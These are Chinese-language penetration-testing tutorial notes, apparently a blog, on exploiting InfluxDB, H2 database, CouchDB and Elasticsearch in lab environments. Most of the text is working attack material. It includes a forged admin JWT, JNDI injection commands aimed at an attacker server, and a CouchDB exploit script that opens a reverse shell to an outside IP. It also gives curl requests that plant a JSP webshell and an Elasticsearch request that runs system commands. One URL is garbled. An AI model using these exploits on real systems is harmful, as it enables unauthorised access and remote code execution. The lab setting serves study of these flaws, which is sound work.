
#知识点:
1、服务攻防-数据库类型安全
2、influxdb-未授权访问-jwt验证
3、H2database-未授权访问-配置不当
4、CouchDB-权限绕过配合RCE-漏洞
5、ElasticSearch-文件写入&RCE-漏洞
这些数据库在特定的环境上用到,特用的程序固定的。使用面不广,但是有一定的应用价值。会根据应用功能选择数据库。
#章节内容:
常见服务应用的安全测试:
1、配置不当-未授权访问
2、安全机制-特定安全漏洞
3、安全机制-弱口令爆破攻击
#前置知识:
应用服务安全测试流程:见图
1、判断服务开放情况-端口扫描&组合应用等
2、判断服务类型归属-数据库&文件传输&通讯等
3、判断服务利用方式-特定漏洞&未授权&弱口令等
一、Influxdb数据库-未授权访问-Jwt验证不当
InfluxDB 是一个时间序列数据库(TSDB),由GO语言写成,被设计用来处理高写入、高查询负载,是 TICK 的一部分。与mysql应用价值是不一样的。
默认端口:8086 8088
influxdb使用jwt作为用户鉴权方式。在用户开启了认证,但未设置参数shared-secret的情况下,jwt的认证密钥为空字符串,此时攻击者可以伪造任意用户身份在influxdb中执行SQL语句。空加密秘钥串。
启动环境:
cd vulhub-master/influxdb/unacc/
docker-compose up -d
① 端口扫描:
nmap 192.168.233.128
发现8086端口是开放的

参考,influxdb未授权访问漏洞:https://blog.csdn.net/weixin_43416469/article/details/113843301
利用路线: Influxdb http query接口—> 生成jwt凭证绕过认证 —>任意sql语句执行
影响版本:Influxdb < 1.7.6
② 访问:192.168.233.128:8086/debug/vars,查看能不能访问到系统的服务信息,如果能 则可能存在漏洞.
③ 未登录管理员账号,直接访问查看用户信息的页面:192.168.233.128:8086/query
POST data:db=sample&q=show+users //意思是:显示 数据库中的用户
发现提示没有权限:

④ 访问时抓包
⑤ 通过 JSON Web Tokens - jwt.io 生成所需要的 Token
{
"alg": "HS256",
"typ": "JWT"
}
{
"username": "admin",
"exp": 3751718877
注意:
① username需要已存在的用户才行,所以使用 admin 用户就好;
② exp是时间戳 ,这个时间戳一定要是未来的时间才行,这里生成了一个 2088 年的时间戳(所以我下面的Encoded值可以直接用)
在线时间戳,转换器:https://www.beijing-time.org/shijianchuo/
复制上面的内容,生成需要的JWT(这个地方密钥可以为空,所以导致的漏洞)

注意在秘钥哪里需要留空。
生成:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwidXNlcm5hbWUiOiJhZG1pbiIsImV4cCI6Mzc1MTcxODg3N30.oy0NABqi_9Hz9DaODnE8QwD5Kr74jb3_h26smyhwgDE

⑥ 抓包,然后修改数据包,重新发包,就可以查询到用户信息了
添加到数据包:
Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjc2MzQ2MjY3fQ.NPhb55F0tpsp5X5vcN_IkAAGDfNzV5BA6M4AThhxz6A


二、H2 database-未授权访问-配置不当
与redis配置是一样的
web端口:8080
默认端口:20051
H2 是一个利用Java开发的嵌入式数据库,多用于单元测试。H2 database自带一个Web管理页面,在Spirng开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权,配置
如下:
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
利用到的工具是java内置的攻击:JNDI攻击。这个是由于java内置的语言不同特性决定的。java网站运行有两种情况:1.自写源代码来进行运行 2.运行jar包,java是一种可编译语言,代码运行后会有一个文件
利用流程是:
1.下载利用文件
2.利用这个文件去生成一个payload
3.让这个地址去加载远程文件。
启动环境:
cd /vulhub-master/h2database/h2-console-unacc
docker-compose up -d

利用这个管理页面,我们可以进行JNDI注入攻击,进而在目标环境下执行任意命令。
1、下载JNDI-Injection-Exploit
https://github.com/welk1n/JNDI-Injection-Exploit
2、生成执行RMI Payload-URL
-C 执行命令 -A 服务器地址
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/success -A 175.178.151.29 (运行JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar包)# 175.178.151.297为攻击地址

会生成几个地址,一般选取:rmi://175.178.151.29:1099/ksvyoy
然后打开特定地址:http://192.168.233.128:8080/h2-console/login.jsp?jsessionid=8cdecf52152246fdd719b88eb2a891d7
把rmi://175.178.151.29:1099/ksvyoy写到JDBC URL
把javax.naming.InitialContext写到Driver Class

但是这里失败了,需要在外网服务器上执行这个jar包,才可以成功。

监听:

在tmp目录下就多出了一个文件目录,因为这个命令是创建一个目录的命令

三、CouchDB-权限绕过配合RCE-漏洞
默认端口:5984
Apache CouchDB是一个开源数据库,用来存储文档,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)专门用来存储文档的数据库
影响版本:小于1.7.0以及小于2.1.1
fofa搜索使用这个数据库的网站:"CouchDB"&&port="5984"
未授权
启动环境:(未授权)
/vulhub-master/couchdb/CVE-2017-12635
docker-compose up -d
访问地址:http://192.168.233.128:5984/

访问特定地址:http://192.168.233.128:5984/_users/org.couchdb.user:vulhub
POST提交:
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"roles": [],
"password": "vulhub"
}
返回添加失败

然后在修改提交方式PUT,完成添加密码。

访问:http://192.168.233.128:5984/_utils/
输入账号密码:vulhub,vulhub 登录成功。
RCE执行
启动环境:
/vulhub-master/couchdb/CVE-2017-12636
docker-compose up -d
1、下载exp.py
2、修改目标和反弹地址
3、Python3调用执行即可
exp.py下载:https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py
exp.py代码:
#!/usr/bin/env python3
import requests
import json
import base64
from requests.auth import HTTPBasicAuth
target = 'http://192.168.233.128:5984'
command = rb"""sh -i >& /dev/tcp/175.178.151.29/5566 0>&1"""
version = 1
session = requests.session()
session.headers = {
'Content-Type': 'application/json'
}
# session.proxies = {
# 'http': 'http://127.0.0.1:8085'
# }
session.put(target + '/_users/org.couchdb.user:wooyun', data='''{
"type": "user",
"name": "wooyun",
"roles": ["_admin"],
"roles": [],
"password": "wooyun"
}''')
session.auth = HTTPBasicAuth('wooyun', 'wooyun')
command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" % base64.b64encode(command).decode()
if version == 1:
session.put(target + ('/_config/query_servers/cmd'), data=json.dumps(command))
else:
host = session.get(target + '/_membership').json()['all_nodes'][0]
session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=json.dumps(command))
session.put(target + '/wooyun')
session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}')
if version == 1:
session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}')
else:
session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')
执行:G:\python38\python.exe exp.py
监听:nc-lvvp 5566
四、ElasticSearch-文件写入&RCE-漏洞
默认端口:9200 9300
ElasticSearch一般在蓝队中,配合kibana一起搭建,用于日志分析、溯源等。
有三个漏洞
1、文件写入-Elasticsearch 文件写入 wooyun_2015_110216
启动环境:http://vulfocus.io/#/dashboard
前提条件:9200一般为ElasticSearch的常用端口,此漏洞环境需要与中间件使用
1、发现9200端口存在elasticsearch页面,8080存在tomcat目录,需要配合网站中间件
2、利用ElasticSearch写入后门到/usr/local/tomcat/webapps/wwwroot/(tomocat安装目录)
① 直接执行命令:
curl -XPOST http://123.58.236.76:31619/yz.jsp/yz.jsp/1 -d'
{"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.getParameter(new String(new byte[]{102})).getBytes());%>":"test"}
'
curl -XPUT 'http://123.58.236.76:31619/_snapshot/yz.jsp' -d '{
"type": "fs",
"settings": {
"location": "/usr/local/tomcat/webapps/wwwroot/",
"compress": false
}
}'
curl -XPUT "htt31620p://123.58.236.76:31619/_snapshot/yz.jsp/yz.jsp" -d '{
"indices": "yz.jsp",
"ignore_unavailable": "true",
"include_global_state": false
}'

② 访问8080端口snapshot-yz.jsp文件写入代码到test.jsp中
http://123.58.236.76:31620/wwwroot/indices/yz.jsp/snapshot-yz.jsp?f=success
success是需要写入的后门
http://123.58.236.76:31620/wwwroot/test.jsp


2、RCE执行漏洞 - Elasticsearch RCE CVE-2014-3120
① 漏洞需要es中至少存在一条数据,所以我们需要先创建一条数据
抓包,替换一下数据包:
POST /website/blog/ HTTP/1.1
Host: 123.58.236.76:58532
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
{
"name": "xiaodi"
}

② 直接发包触发执行命令
POST /_search?pretty HTTP/1.1
Host: 123.58.236.76:58532
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 343
{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {
"command": {
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}
返回root
浙公网安备 33010602011771号